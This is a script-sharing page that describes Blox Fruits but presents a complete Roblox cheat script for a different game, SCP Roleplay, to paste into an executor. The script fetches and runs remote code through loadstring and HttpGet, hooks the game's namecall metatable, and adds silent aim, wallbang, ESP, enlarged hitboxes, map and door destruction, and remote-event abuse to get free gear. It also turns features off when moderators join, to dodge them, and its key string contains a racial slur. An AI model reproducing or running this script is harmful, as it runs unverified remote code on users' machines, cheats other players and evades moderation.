Blox Fruits is an immensely popular game on the Roblox platform, boasting a vast user base. This action-adventure game revolves around a pirate theme, where players enagage in combat against a variety of enemies and challenging bosses. Exploring islands and consuming different fruits are essential for advancing your character’s level
What is Roblox Script?
Roblox Scripts typically refer to snippets of code that offer automation advantages within the game. Independent developers and scripters create these scripts, which are not officially endorsed by the Roblox platform. Nevertheless, you can still utilize these scripts through Roblox executors such as Arceus X, Hydrogen Executor, JJSploit, Fluxus executor, and others.
How to Use Roblox Script?
- Launch Roblox and join your desired game.
- Click the “Copy” button to duplicate the script code.
- Paste the script code into your preferred Roblox executor.
- Execute the script code and savor the enhanced experience.
--[[ WARNING: Heads up! This script has not been verified by ScriptBlox. Use at your own risk! ]] if game.PlaceId ~= 5041144419 and game.PlaceId ~= 6939657427 then game.Players.LocalPlayer:Kick("This script only works in SCP Roleplay") game.Players.LocalPlayer:Destroy() end loadstring(game:HttpGet('https://raw.githubusercontent.com/0ij34fn39uj/4089h4380bg3b08/main/auth'))() local Rayfield = loadstring(game:HttpGet('https://raw.githubusercontent.com/axleoislost/NullZen/main/ray'))() local Window = Rayfield:CreateWindow({ Name = "NullZen || Scp Roleplay || v1.24", Icon = 0, LoadingTitle = "Loading ...", LoadingSubtitle = "By axleoislost", Theme = "AmberGlow", DisableRayfieldPrompts = false, DisableBuildWarnings = false, ConfigurationSaving = { Enabled = false, FolderName = nil, FileName = "NullZen Configs" }, Discord = { Enabled = false, Invite = "noinvitelink", RememberJoins = true }, KeySystem = false, KeySettings = { Title = "NullZen || Scp Roleplay || v1.22", Subtitle = "Join Discord For key", Note = "discord.gg/RtN2jBwRTN", FileName = "Key", SaveKey = false, GrabKeyFromSite = false, Key = {"NULLZEN_I_HATE_NIGGERS_018749"} } }) local Main = Window:CreateTab("Main", 4483362458) local Section = Main:CreateSection("Options") --[[ local Toggle = Main:CreateToggle({ Name = "Anti Mod", CurrentValue = false, Flag = "Toggle1", Callback = function(Value) local Players = game:GetService("Players") local LocalPlayer = Players.LocalPlayer local targetGroupRoles = { {groupId = 5479038, roleId = 248}, {groupId = 5479038, roleId = 249}, {groupId = 5479038, roleId = 250}, {groupId = 5479038, roleId = 251}, {groupId = 5479038, roleId = 252}, {groupId = 5479038, roleId = 255} } local kickToggle = Value local function checkPlayerRoles(player) for _, groupRole in ipairs(targetGroupRoles) do local groupId = groupRole.groupId local roleId = groupRole.roleId if player:GetRankInGroup(groupId) == roleId and kickToggle then LocalPlayer:Kick("!!! Mod joined !!! = " .. player.Name) return end end end Players.PlayerAdded:Connect(function(player) checkPlayerRoles(player) end) for _, player in ipairs(Players:GetPlayers()) do if player ~= LocalPlayer then checkPlayerRoles(player) end end end, }) ]] local AntiAfkToggle = Main:CreateToggle({ Name = "Anti AFK", CurrentValue = false, Flag = "AntiAfkToggle", Callback = function(Value) local vu = game:GetService("VirtualUser") game:GetService("Players").LocalPlayer.Idled:connect(function() vu:Button2Down(Vector2.new(0, 0), workspace.CurrentCamera.CFrame) wait(1) vu:Button2Up(Vector2.new(0, 0), workspace.CurrentCamera.CFrame) end) end, }) local FullBrightToggle = Main:CreateToggle({ Name = "FullBright", CurrentValue = false, Flag = "FullBrightToggle", Callback = function(Value) if Value then game:GetService("Lighting").Ambient = Color3.new(2, 2, 2) else game:GetService("Lighting").Ambient = Color3.new(0, 0, 0) end end, }) local Noclip = nil local Clip = nil function noclip() Clip = false local function Nocl() if Clip == false and game.Players.LocalPlayer.Character ~= nil then for _, v in pairs(game.Players.LocalPlayer.Character:GetDescendants()) do if v:IsA('BasePart') and v.CanCollide and v.Name ~= floatName then v.CanCollide = false end end end wait(0.21) end Noclip = game:GetService('RunService').Stepped:Connect(Nocl) end function clip() if Noclip then Noclip:Disconnect() end Clip = true end local NoclipToggle = Main:CreateToggle({ Name = "Noclip", CurrentValue = false, Flag = "NoclipToggle", Callback = function(Value) if Value then noclip() else clip() end end, }) local AntiVoidToggle = Main:CreateToggle({ Name = "Anti Void", CurrentValue = false, Flag = "AntiVoidToggle", Callback = function(Value) isRaycastingEnabled = Value if Value then local player = game.Players.LocalPlayer local humanoidRootPart local checkInterval = 0.1 local partSize = Vector3.new(4, 1, 4) local partColor = Color3.new(1, 0, 0) local spawnedParts = {} local debounce = 0 local heartbeatConnection local function spawnPartBelow() local part = Instance.new("Part") part.Size = partSize part.Position = humanoidRootPart.Position - Vector3.new(0, partSize.Y / 2 + 1, 0) part.Anchored = true part.CanCollide = true part.BrickColor = BrickColor.new(partColor) part.Transparency = 1 part.Parent = workspace table.insert(spawnedParts, part) return part end local function checkForGround() if not isRaycastingEnabled then return end local ray = Ray.new(humanoidRootPart.Position, Vector3.new(0, -1000, 0)) local hitPart, hitPosition = workspace:FindPartOnRay(ray, player.Character) if not hitPart then local newPart = spawnPartBelow() local isStandingOnPart = false while not isStandingOnPart do wait(0.1) if humanoidRootPart.Position.Y <= newPart.Position.Y + partSize.Y / 2 then isStandingOnPart = true end end newPart:Destroy() end end local function onHeartbeat(deltaTime) debounce = debounce + deltaTime if debounce >= checkInterval then debounce = 0 checkForGround() end end local function setupPlayer(character) humanoidRootPart = character:WaitForChild("HumanoidRootPart") if heartbeatConnection then heartbeatConnection:Disconnect() end local runService = game:GetService("RunService") heartbeatConnection = runService.Heartbeat:Connect(onHeartbeat) end player.CharacterAdded:Connect(setupPlayer) if player.Character then setupPlayer(player.Character) end if not heartbeatConnection then local runService = game:GetService("RunService") heartbeatConnection = runService.Heartbeat:Connect(onHeartbeat) end else if heartbeatConnection then heartbeatConnection:Disconnect() end end end, }) local speedBoostEnabled = true local currentBoostAmount = 0 local heartbeatConnection local runningConnection local function setupCharacter(character) local humanoid = character:WaitForChild("Humanoid") local runService = game:GetService("RunService") if heartbeatConnection then heartbeatConnection:Disconnect() end if runningConnection then runningConnection:Disconnect() end local boosting = false local function applyBoost() if speedBoostEnabled then local delta = humanoid.MoveDirection * currentBoostAmount character:SetPrimaryPartCFrame(character.PrimaryPart.CFrame + delta) end end local function onMove() boosting = humanoid.MoveDirection.Magnitude > 0 end heartbeatConnection = runService.Heartbeat:Connect(function() if boosting then applyBoost() end end) runningConnection = humanoid.Running:Connect(onMove) end local player = game.Players.LocalPlayer player.CharacterAdded:Connect(setupCharacter) if player.Character then setupCharacter(player.Character) end local SpeedBoostSlider = Main:CreateSlider({ Name = "Speed Boost", Range = {0, 0.3}, Increment = 0.05, Suffix = "Boost", CurrentValue = 0, Flag = "SpeedBoostSlider", Callback = function(Value) currentBoostAmount = Value if player.Character then setupCharacter(player.Character) end end, }) --[[ local player = game.Players.LocalPlayer local desiredWalkSpeed = 16 local walkSpeedLoopEnabled = false local walkSpeedConnection local function setWalkSpeed(speed) if player.Character and player.Character:FindFirstChild("Humanoid") then player.Character.Humanoid.WalkSpeed = speed end end local Toggle = Main:CreateToggle({ Name = "Enable Speed", CurrentValue = false, Flag = "WalkSpeedToggle", Callback = function(Value) walkSpeedLoopEnabled = Value if walkSpeedLoopEnabled then walkSpeedConnection = game:GetService("RunService").Heartbeat:Connect(function() setWalkSpeed(desiredWalkSpeed) end) else if walkSpeedConnection then walkSpeedConnection:Disconnect() end end end, }) local Slider = Main:CreateSlider({ Name = "Walkspeed Speed", Range = {0, 39}, Increment = 1, Suffix = "WalkSpeed", CurrentValue = 16, Flag = "WalkSpeedSlider", Callback = function(Value) desiredWalkSpeed = Value if walkSpeedLoopEnabled then setWalkSpeed(desiredWalkSpeed) end end, }) ]] local Teleports = Window:CreateTab("Teleports", 4483362458) local Section = Teleports:CreateSection("TP") local Label = Teleports:CreateLabel("spam teleports if doesnt work") local function tp(coords, x) for i = 1, x do game.Players.LocalPlayer.Character:SetPrimaryPartCFrame(CFrame.new(coords)) task.wait(0) end end local Button = Teleports:CreateButton({ Name = "Class D Cells", Callback = function() tp(Vector3.new(-31, 22, 305), 150) end, }) local Button = Teleports:CreateButton({ Name = "Class D Cells Hidden Spot", Callback = function() tp(Vector3.new(-60, 22, 318), 150) end, }) local Button = Teleports:CreateButton({ Name = "Sector 1", Callback = function() tp(Vector3.new(-320, 22, 17), 150) end, }) local Button = Teleports:CreateButton({ Name = "Sector 2", Callback = function() tp(Vector3.new(-32, 22, 56), 150) end, }) local Button = Teleports:CreateButton({ Name = "Sector 3", Callback = function() tp(Vector3.new(237, 22, -9), 150) end, }) local Button = Teleports:CreateButton({ Name = "Helipad", Callback = function() tp(Vector3.new(-816, 22, 16), 150) end, }) local Button = Teleports:CreateButton({ Name = "Bunker", Callback = function() tp(Vector3.new(-168, -6, -146), 150) end, }) local Button = Teleports:CreateButton({ Name = "CI Spawn", Callback = function() tp(Vector3.new(90, 95, 10), 150) end, }) local Button = Teleports:CreateButton({ Name = "SCP-096", Callback = function() tp(Vector3.new(502, 22, -330), 150) end, }) local Button = Teleports:CreateButton({ Name = "SCP-079", Callback = function() tp(Vector3.new(333, 22, 58), 150) end, }) local Button = Teleports:CreateButton({ Name = "SCP-002", Callback = function() tp(Vector3.new(593, 22, -40), 150) end, }) local Button = Teleports:CreateButton({ Name = "SCP-008", Callback = function() tp(Vector3.new(378, 22, 100), 150) end, }) local Button = Teleports:CreateButton({ Name = "SCP-173", Callback = function() tp(Vector3.new(224, 22, 97), 150) end, }) local Button = Teleports:CreateButton({ Name = "Control Room", Callback = function() tp(Vector3.new(-56, 17, -109), 150) end, }) local Button = Teleports:CreateButton({ Name = "Transformers", Callback = function() tp(Vector3.new(-185, 18, -98), 150) end, }) local Combat = Window:CreateTab("Combat", 4483362458) local Section = Combat:CreateSection(" ") local player = game.Players.LocalPlayer local model = game.Workspace:FindFirstChild(player.Name) local isToggled = false local AutoReloadToggle = Combat:CreateToggle({ Name = "Auto Reload", CurrentValue = false, Flag = "AutoReloadToggle", Callback = function(Value) isToggled = Value if isToggled then spawn(function() while isToggled do if model then local character = player.Character or player.CharacterAdded:Wait() for _, tool in ipairs(character:GetChildren()) do if tool:IsA("Tool") and tool:FindFirstChild("Laser") then local currentAmmo = tool:FindFirstChild("CurrentAmmo") if currentAmmo and currentAmmo:IsA("IntValue") and currentAmmo.Value < 1 then repeat game:GetService("VirtualInputManager"):SendKeyEvent(true, "R", false, game) wait(0.2) until currentAmmo.Value >= 1 end end end end wait(0.2) end end) end end, }) local Esp1Toggle = Combat:CreateToggle({ Name = "ESP 1", CurrentValue = false, Flag = "Esp1Toggle", Callback = function(Value) ToggleESP(Value) end, }) local Players = game:GetService("Players") local ESPEnabled = false local ESPBoxes = {} local function getTeamColor(player) local team = player.Team return team and team.TeamColor.Color or Color3.new(1, 1, 1) end local function createESP(player) if player == Players.LocalPlayer then return end local function applyBox(part) local box = Instance.new("BoxHandleAdornment") box.Size = part.Size box.Adornee = part box.Color3 = getTeamColor(player) box.Transparency = 0.6 box.AlwaysOnTop = true box.ZIndex = 10 box.Parent = part if not ESPBoxes[player] then ESPBoxes[player] = {} end table.insert(ESPBoxes[player], box) end local function onCharacterAdded(character) for _, part in pairs(character:GetChildren()) do if part:IsA("BasePart") then applyBox(part) end end character.ChildAdded:Connect(function(part) if part:IsA("BasePart") then applyBox(part) end end) end if player.Character then onCharacterAdded(player.Character) end player.CharacterAdded:Connect(onCharacterAdded) end local function onPlayerAdded(player) if ESPEnabled then createESP(player) end end for _, player in pairs(Players:GetPlayers()) do onPlayerAdded(player) end Players.PlayerAdded:Connect(onPlayerAdded) Players.PlayerRemoving:Connect(function(player) if ESPBoxes[player] then for _, box in pairs(ESPBoxes[player]) do if box then box:Destroy() end end ESPBoxes[player] = nil end end) function ToggleESP(value) ESPEnabled = value if ESPEnabled then for _, player in pairs(Players:GetPlayers()) do if player ~= Players.LocalPlayer then createESP(player) end end else for _, boxes in pairs(ESPBoxes) do for _, box in pairs(boxes) do if box then box:Destroy() end end end ESPBoxes = {} end end local espRunning = false local Esp2Toggle = Combat:CreateToggle({ Name = "ESP 2", CurrentValue = false, Flag = "Esp2Toggle", Callback = function(Value) local Players = game:GetService("Players") if espRunning then espRunning = false for _, player in pairs(Players:GetPlayers()) do if player.Character then local highlight = player.Character:FindFirstChild("PlayerHighlight") if highlight then highlight:Destroy() end end end end if Value then espRunning = true spawn(function() while espRunning do for _, player in pairs(Players:GetPlayers()) do if player.Character and player.Character:FindFirstChild("HumanoidRootPart") then local highlight = player.Character:FindFirstChild("PlayerHighlight") if not highlight then highlight = Instance.new("Highlight") highlight.Name = "PlayerHighlight" highlight.Parent = player.Character highlight.Adornee = player.Character highlight.DepthMode = Enum.HighlightDepthMode.AlwaysOnTop end highlight.FillColor = player.TeamColor.Color highlight.FillTransparency = 0.5 end end wait(3) end end) end Players.PlayerAdded:Connect(function(player) player.CharacterAdded:Connect(function(character) character:WaitForChild("HumanoidRootPart", 10) if espRunning then local highlight = character:FindFirstChild("PlayerHighlight") if not highlight then highlight = Instance.new("Highlight") highlight.Name = "PlayerHighlight" highlight.Parent = character highlight.Adornee = character highlight.DepthMode = Enum.HighlightDepthMode.AlwaysOnTop end highlight.FillColor = player.TeamColor.Color highlight.FillTransparency = 0.5 end end) end) Players.PlayerRemoving:Connect(function(player) if player.Character then local highlight = player.Character:FindFirstChild("PlayerHighlight") if highlight then highlight:Destroy() end end end) Players.LocalPlayer.CharacterAdded:Connect(function(character) if espRunning then for _, player in pairs(Players:GetPlayers()) do if player.Character and player.Character:FindFirstChild("HumanoidRootPart") then local highlight = player.Character:FindFirstChild("PlayerHighlight") if not highlight then highlight = Instance.new("Highlight") highlight.Name = "PlayerHighlight" highlight.Parent = player.Character highlight.Adornee = player.Character highlight.DepthMode = Enum.HighlightDepthMode.AlwaysOnTop end highlight.FillColor = player.TeamColor.Color highlight.FillTransparency = 0.5 end end end end) end, }) local HeadHitboxSlider = Combat:CreateSlider({ Name = "Head Hitbox Size", Range = {1, 3.2}, Increment = 0.1, Suffix = "Size", CurrentValue = 1, Flag = "HeadHitboxSlider", Callback = function(Value) _G.headsize = Value local function updateHeads() for _, player in ipairs(game.Players:GetPlayers()) do if player ~= game.Players.LocalPlayer then local character = player.Character if character then local head = character:FindFirstChild("Head") if head then if head.Size.X ~= _G.headsize or head.Size.Y ~= _G.headsize or head.Size.Z ~= _G.headsize then head.Size = Vector3.new(_G.headsize, _G.headsize, _G.headsize) local mesh = head:FindFirstChildOfClass("SpecialMesh") if mesh then mesh.Scale = Vector3.new(1.5, 1.5, 1.5) end head.CanCollide = false local teamColor = player.TeamColor head.BrickColor = teamColor and BrickColor.new(teamColor.Color) or BrickColor.new("White") head.Transparency = 0.9 end end end end end end updateHeads() while true do wait(3) for _, player in ipairs(game.Players:GetPlayers()) do if player ~= game.Players.LocalPlayer then local character = player.Character if character then local head = character:FindFirstChild("Head") if head and (head.Size.X ~= _G.headsize or head.Size.Y ~= _G.headsize or head.Size.Z ~= _G.headsize) then head.Size = Vector3.new(_G.headsize, _G.headsize, _G.headsize) local mesh = head:FindFirstChildOfClass("SpecialMesh") if mesh then mesh.Scale = Vector3.new(1.5, 1.5, 1.5) end head.CanCollide = false local teamColor = player.TeamColor head.BrickColor = teamColor and BrickColor.new(teamColor.Color) or BrickColor.new("White") head.Transparency = 0.9 end end end end end end, }) local BodyHitboxSlider = Combat:CreateSlider({ Name = "Body Hitbox Size", Range = {1, 3.2}, Increment = 0.1, Suffix = "Size", CurrentValue = 1, Flag = "BodyHitboxSlider", Callback = function(Value) _G.bodysize = Value local function updateHumanoidRootParts() for _, player in ipairs(game.Players:GetPlayers()) do if player ~= game.Players.LocalPlayer then local character = player.Character if character then local humanoidRootPart = character:FindFirstChild("HumanoidRootPart") if humanoidRootPart then if humanoidRootPart.Size.X ~= _G.bodysize or humanoidRootPart.Size.Y ~= _G.bodysize or humanoidRootPart.Size.Z ~= _G.bodysize then humanoidRootPart.Size = Vector3.new(_G.bodysize, _G.bodysize, _G.bodysize) local mesh = humanoidRootPart:FindFirstChildOfClass("SpecialMesh") if mesh then mesh.Scale = Vector3.new(1.5, 1.5, 1.5) end humanoidRootPart.CanCollide = false local teamColor = player.TeamColor humanoidRootPart.BrickColor = teamColor and BrickColor.new(teamColor.Color) or BrickColor.new("White") humanoidRootPart.Transparency = 0.9 end end end end end end updateHumanoidRootParts() while true do wait(3) for _, player in ipairs(game.Players:GetPlayers()) do if player ~= game.Players.LocalPlayer then local character = player.Character if character then local humanoidRootPart = character:FindFirstChild("HumanoidRootPart") if humanoidRootPart and (humanoidRootPart.Size.X ~= _G.bodysize or humanoidRootPart.Size.Y ~= _G.bodysize or humanoidRootPart.Size.Z ~= _G.bodysize) then humanoidRootPart.Size = Vector3.new(_G.bodysize, _G.bodysize, _G.bodysize) local mesh = humanoidRootPart:FindFirstChildOfClass("SpecialMesh") if mesh then mesh.Scale = Vector3.new(1.5, 1.5, 1.5) end humanoidRootPart.CanCollide = false local teamColor = player.TeamColor humanoidRootPart.BrickColor = teamColor and BrickColor.new(teamColor.Color) or BrickColor.new("White") humanoidRootPart.Transparency = 0.9 end end end end end end, }) local Section = Combat:CreateSection("Aimbot") local originalNamecall local hooked = false local SilentEffective = Combat:CreateToggle({ Name = "Make Silent Aim More Bullet Efficient", CurrentValue = false, Flag = "Toggle1", Callback = function(Value) local BlockedRemotes = { "ShotRemote", "CRLService", "GetInfo" } local mt = getrawmetatable(game) if Value then if not hooked then originalNamecall = originalNamecall or mt.__namecall setreadonly(mt, false) mt.__namecall = function(self, ...) local method = getnamecallmethod() local args = {...} if method == "FireServer" then for _, arg in ipairs(args) do if type(arg) == "string" and arg == "allowed123zz" then return originalNamecall(self, ...) end end for _, remoteName in ipairs(BlockedRemotes) do if self.Name == remoteName then return end end end return originalNamecall(self, ...) end setreadonly(mt, true) hooked = true end else if hooked then setreadonly(mt, false) mt.__namecall = originalNamecall setreadonly(mt, true) hooked = false end end end }) local Players = game:GetService("Players") local RunService = game:GetService("RunService") local UserInputService = game:GetService("UserInputService") local ReplicatedStorage = game:GetService("ReplicatedStorage") local localPlayer = Players.LocalPlayer local camera = workspace.CurrentCamera local holdingLeftClick = false local aimFov = 40 local remote = ReplicatedStorage:WaitForChild("Remotes"):WaitForChild("ShotRemote") local silentAimEnabled = false local function hasGun(character) for _, tool in ipairs(character:GetChildren()) do if tool:IsA("Tool") and tool:FindFirstChild("Laser") then return true end end return false end local function isBodyPart(instance) if instance:IsA("BasePart") then local character = instance.Parent if character and character:IsA("Model") and character:FindFirstChild("Humanoid") then return true end end return false end local function isExempt(instance) return instance.Name == "Handle" end local function getTeamName(player) return player.Team and player.Team.Name or "NoTeam" end local function isInsideArea(position) local minX, maxX = -155, 96 local minY, maxY = 16, 92 local minZ, maxZ = 224, 428 return position.X >= minX and position.X <= maxX and position.Y >= minY and position.Y <= maxY and position.Z >= minZ and position.Z <= maxZ end local function isTarget(localPlayer, otherPlayer) local playerTeamName = getTeamName(localPlayer) local otherTeamName = getTeamName(otherPlayer) local character = localPlayer.Character local otherCharacter = otherPlayer.Character if not character or not otherCharacter or not otherCharacter:FindFirstChild("HumanoidRootPart") then return false end local head = otherCharacter:FindFirstChild("Head") if head and head.BrickColor == BrickColor.new("Olivine") then return true end if playerTeamName == "Class - D" or playerTeamName == "Chaos Insurgency" then return otherTeamName ~= "Class - D" and otherTeamName ~= "Chaos Insurgency" else if otherTeamName == "Class - D" then local targetPosition = otherCharacter.HumanoidRootPart.Position return not isInsideArea(targetPosition) or hasGun(otherCharacter) elseif otherTeamName == "Chaos Insurgency" then return true end end return false end local function isWithinFov(directionToPlayer, cameraDirection, fov) local angle = math.acos(cameraDirection:Dot(directionToPlayer)) local fovRadians = math.rad(fov / 2) return angle <= fovRadians end local function getFacingPlayer() local facingPlayer = nil local minDistance = math.huge local cameraDirection = camera.CFrame.LookVector for _, player in pairs(Players:GetPlayers()) do if player ~= localPlayer and player.Character and player.Character:FindFirstChild("Head") and isTarget(localPlayer, player) then local humanoid = player.Character:FindFirstChild("Humanoid") if humanoid and humanoid.Health > 0 then local head = player.Character.Head local directionToPlayer = (head.Position - localPlayer.Character.Head.Position).Unit local distance = (head.Position - localPlayer.Character.Head.Position).Magnitude if isWithinFov(directionToPlayer, cameraDirection, aimFov) then if distance < minDistance then minDistance = distance facingPlayer = player end end end end end return facingPlayer end local function performRaycast(targetPlayer) local origin = localPlayer.Character.Head.Position local targetHead = targetPlayer.Character and targetPlayer.Character:FindFirstChild("Head") if not targetHead then return false end local direction = (targetHead.Position - origin).unit local distance = (targetHead.Position - origin).magnitude local raycastParams = RaycastParams.new() raycastParams.FilterType = Enum.RaycastFilterType.Blacklist raycastParams.FilterDescendantsInstances = {localPlayer.Character} local raycastResult = workspace:Raycast(origin, direction * distance, raycastParams) if raycastResult and not isBodyPart(raycastResult.Instance) and raycastResult.Instance.Name ~= "Handle" then if not isExempt(raycastResult.Instance) then return false end end return true end local function fireAtTarget() while holdingLeftClick and silentAimEnabled do local facingPlayer = getFacingPlayer() if facingPlayer and facingPlayer.Character and facingPlayer.Character:FindFirstChild("Head") then local headPosition = facingPlayer.Character.Head.Position local myHeadPosition = localPlayer.Character.Head.Position local distance = (headPosition - myHeadPosition).Magnitude if distance > 170 then break end local canFire = (not raycastEnabled) and performRaycast(facingPlayer) or raycastEnabled if canFire then local args = { [1] = {myHeadPosition.X, myHeadPosition.Y, myHeadPosition.Z}, [2] = facingPlayer.Character.Head, [3] = headPosition, [4] = "allowed123zz" } remote:FireServer(unpack(args)) end end wait(0.1) end end UserInputService.InputBegan:Connect(function(input) if input.UserInputType == Enum.UserInputType.MouseButton1 then if not holdingLeftClick then holdingLeftClick = true fireAtTarget() end end end) UserInputService.InputEnded:Connect(function(input) if input.UserInputType == Enum.UserInputType.MouseButton1 then holdingLeftClick = false end end) local SilentAimToggle = Combat:CreateToggle({ Name = "Enable Silent Aim", CurrentValue = false, Flag = "SilentAimToggle", Callback = function(Value) silentAimEnabled = Value SilentEffective:Set(Value) end, }) local RCToggle = Combat:CreateToggle({ Name = "WallBang (Silent Aim only) (Shoots Thru Walls)", CurrentValue = false, Flag = "ToggleRaycast", Callback = function(Value) raycastEnabled = Value end, }) local Slider = Combat:CreateSlider({ Name = "FOV", Range = {0, 120}, Increment = 1, Suffix = " ", CurrentValue = 40, Flag = "Slider1", Callback = function(Value) aimFov = Value end, }) local drawingCircle local Toggle = Combat:CreateToggle({ Name = "Show FOV", CurrentValue = false, Flag = "ToggleFOVCircle", Callback = function(Value) if Value then drawingCircle = Drawing.new("Circle") drawingCircle.Thickness = 2 drawingCircle.NumSides = 64 drawingCircle.Color = Color3.new(1, 1, 1) drawingCircle.Transparency = 1 drawingCircle.Filled = false drawingCircle.Position = Vector2.new(workspace.CurrentCamera.ViewportSize.X / 2, workspace.CurrentCamera.ViewportSize.Y / 2) game:GetService("RunService").RenderStepped:Connect(function() if drawingCircle then drawingCircle.Radius = aimFov * 5 end end) else if drawingCircle then drawingCircle:Remove() drawingCircle = nil end end end, }) local World = Window:CreateTab("World", 4483362458) local Section = World:CreateSection(" ") local Button = World:CreateButton({ Name = "Destroy Everything", Callback = function() local location1 = Vector3.new(558, 22, -311) local function deleteAbovePoint(point) local heightThreshold = point.Y + -2 for _, instance in ipairs(workspace:GetDescendants()) do if instance:IsA("BasePart") then local ancestor = instance local belongsToHumanoid = false while ancestor.Parent do if ancestor:FindFirstChildOfClass("Humanoid") then belongsToHumanoid = true break end ancestor = ancestor.Parent end if not belongsToHumanoid and instance.Position.Y > heightThreshold then instance:Destroy() end end end end deleteAbovePoint(location1) end, }) local Button = World:CreateButton({ Name = "Destroy Doors", Callback = function() local function destroyWallsInFolder(folder) for _, obj in pairs(folder:GetChildren()) do if string.match(obj.Name:lower(), "door") then obj:Destroy() end if obj:IsA("Folder") or obj:IsA("Model") then destroyWallsInFolder(obj) end end end destroyWallsInFolder(workspace) end, }) local Weapons = Window:CreateTab("Buy Gear", 4483362458) local Section = Weapons:CreateSection(" ") local Button = Weapons:CreateButton({ Name = "Scar - H", Callback = function() local currentpos = game.Players.LocalPlayer.Character.Humanoid.RootPart.Position game.Players.LocalPlayer.Character.Humanoid.RootPart.CFrame = CFrame.new(Vector3.new(50, 23, 382)) wait(0.2) game.ReplicatedStorage.Remotes.JerryAlex:FireServer("Scar - H") game.ReplicatedStorage.Remotes.JerryAlex:FireServer("Scar - H") game.Players.LocalPlayer.Character.Humanoid.RootPart.CFrame = CFrame.new(currentpos) end, }) local Button = Weapons:CreateButton({ Name = "Spas - 12", Callback = function() local currentpos = game.Players.LocalPlayer.Character.Humanoid.RootPart.Position game.Players.LocalPlayer.Character.Humanoid.RootPart.CFrame = CFrame.new(Vector3.new(50, 23, 382)) wait(0.2) game.ReplicatedStorage.Remotes.JerryAlex:FireServer("Spas - 12") game.ReplicatedStorage.Remotes.JerryAlex:FireServer("Spas - 12") game.Players.LocalPlayer.Character.Humanoid.RootPart.CFrame = CFrame.new(currentpos) end, }) local Button = Weapons:CreateButton({ Name = "Kriss Vector", Callback = function() local currentpos = game.Players.LocalPlayer.Character.Humanoid.RootPart.Position game.Players.LocalPlayer.Character.Humanoid.RootPart.CFrame = CFrame.new(Vector3.new(50, 23, 382)) wait(0.2) game.ReplicatedStorage.Remotes.JerryAlex:FireServer("Kriss Vector") game.ReplicatedStorage.Remotes.JerryAlex:FireServer("Kriss Vector") game.Players.LocalPlayer.Character.Humanoid.RootPart.CFrame = CFrame.new(currentpos) end, }) local Button = Weapons:CreateButton({ Name = "Glock 17", Callback = function() local currentpos = game.Players.LocalPlayer.Character.Humanoid.RootPart.Position game.Players.LocalPlayer.Character.Humanoid.RootPart.CFrame = CFrame.new(Vector3.new(50, 23, 382)) wait(0.2) game.ReplicatedStorage.Remotes.JerryAlex:FireServer("Glock 17") game.ReplicatedStorage.Remotes.JerryAlex:FireServer("Glock 17") game.Players.LocalPlayer.Character.Humanoid.RootPart.CFrame = CFrame.new(currentpos) end, }) local Button = Weapons:CreateButton({ Name = "Vest", Callback = function() local currentpos = game.Players.LocalPlayer.Character.Humanoid.RootPart.Position game.Players.LocalPlayer.Character.Humanoid.RootPart.CFrame = CFrame.new(Vector3.new(50, 23, 382)) wait(0.2) game.ReplicatedStorage.Remotes.JerryAlex:FireServer("Vest") game.ReplicatedStorage.Remotes.JerryAlex:FireServer("Vest") game.Players.LocalPlayer.Character.Humanoid.RootPart.CFrame = CFrame.new(currentpos) end, }) local Misc = Window:CreateTab("Misc", 4483362458) local MiscSection = Misc:CreateSection("Misc") local Button = Misc:CreateButton({ Name = "Rejoin Current Server", Callback = function() local TeleportService = game:GetService("TeleportService") local Players = game:GetService("Players") local player = Players.LocalPlayer local currentPlaceId = game.PlaceId local currentJobId = game.JobId TeleportService:TeleportToPlaceInstance(currentPlaceId, currentJobId, player) end, }) local Button = Misc:CreateButton({ Name = "Show Full Chat", Callback = function() local StarterGui = game:GetService("StarterGui") local Players = game:GetService("Players") local player = Players.LocalPlayer local chatFrame = player.PlayerGui.Chat.Frame chatFrame.ChatChannelParentFrame.Visible = true chatFrame.ChatBarParentFrame.Position = chatFrame.ChatChannelParentFrame.Position + UDim2.new(UDim.new(), chatFrame.ChatChannelParentFrame.Size.Y) end, }) local Slider = Misc:CreateSlider({ Name = "FPS Limit", Range = {10, 360}, Increment = 10, Suffix = "FPS", CurrentValue = 60, Flag = "Slider1", Callback = function(Value) setfpscap(Value) end, }) local TurnOffEverythingToggle = Misc:CreateToggle({ Name = "Turn Off Everything When a Moderator Joins", CurrentValue = false, Flag = "TurnOffEverythingToggle", Callback = function(Value) for _, plr in next, game.Players:GetPlayers() do if plr:GetRankInGroup(5479038) >= 248 and Value then Rayfield:Notify({ Title = "Turned Off Everything", Content = "The Moderator ".. plr.Name .." joined this server so for your safety everything has been turned off", Duration = 20, Image = 4483362458, }) AntiAfkToggle:Set(false) FullBrightToggle:Set(false) NoclipToggle:Set(false) AntiVoidToggle:Set(false) SpeedBoostSlider:Set(0) AutoReloadToggle:Set(false) Esp1Toggle:Set(false) Esp2Toggle:Set(false) HeadHitboxSlider:Set(0) BodyHitboxSlider:Set(0) SilentAimToggle:Set(false) AimbotToggle:Set(false) end end game.Players.PlayerAdded:Connect(function(plr) if plr:GetRankInGroup(5479038) >= 248 and Value then Rayfield:Notify({ Title = "Turned Off Everything", Content = "The Moderator ".. plr.Name .." joined this server so for your safety everything has been turned off", Duration = 20, Image = 4483362458, }) AntiAfkToggle:Set(false) FullBrightToggle:Set(false) NoclipToggle:Set(false) AntiVoidToggle:Set(false) SpeedBoostSlider:Set(0) AutoReloadToggle:Set(false) Esp1Toggle:Set(false) Esp2Toggle:Set(false) HeadHitboxSlider:Set(0) BodyHitboxSlider:Set(0) SilentAimToggle:Set(false) AimbotToggle:Set(false) end end) end, }) local ThemeDropDown = Misc:CreateDropdown({ Name = "Theme Selector", Options = {"Default", "Amber Glow", "Amethyst", "Bloom", "Dark Blue", "Green", "Light", "Ocean", "Serenity"}, CurrentOption = {"Default"}, MultipleOptions = false, Flag = "ThemeDropDown", Callback = function(Options) local themeMap = { Default = "Default", ["Amber Glow"] = "AmberGlow", Amethyst = "Amethyst", Bloom = "Bloom", ["Dark Blue"] = "DarkBlue", Green = "Green", Light = "Light", Ocean = "Ocean", Serenity = "Serenity" } Window.ModifyTheme(themeMap[Options[1]]) end, }) local Credits = Window:CreateTab("Credits", 4483362458) local Section = Credits:CreateSection("Discord & Youtube Links") local Button = Credits:CreateButton({ Name = "Click To Copy Discord Link", Callback = function() setclipboard("https://discord.gg/RtN2jBwRTN") toclipboard("https://discord.gg/RtN2jBwRTN") end, }) local Button = Credits:CreateButton({ Name = "Click To Copy Youtube Link", Callback = function() setclipboard("https://www.youtube.com/@axleoislost1") toclipboard("https://www.youtube.com/@axleoislost1") end, }) local Label = Credits:CreateLabel("Made By axleoislost2", 4483362458, Color3.fromRGB(255, 255, 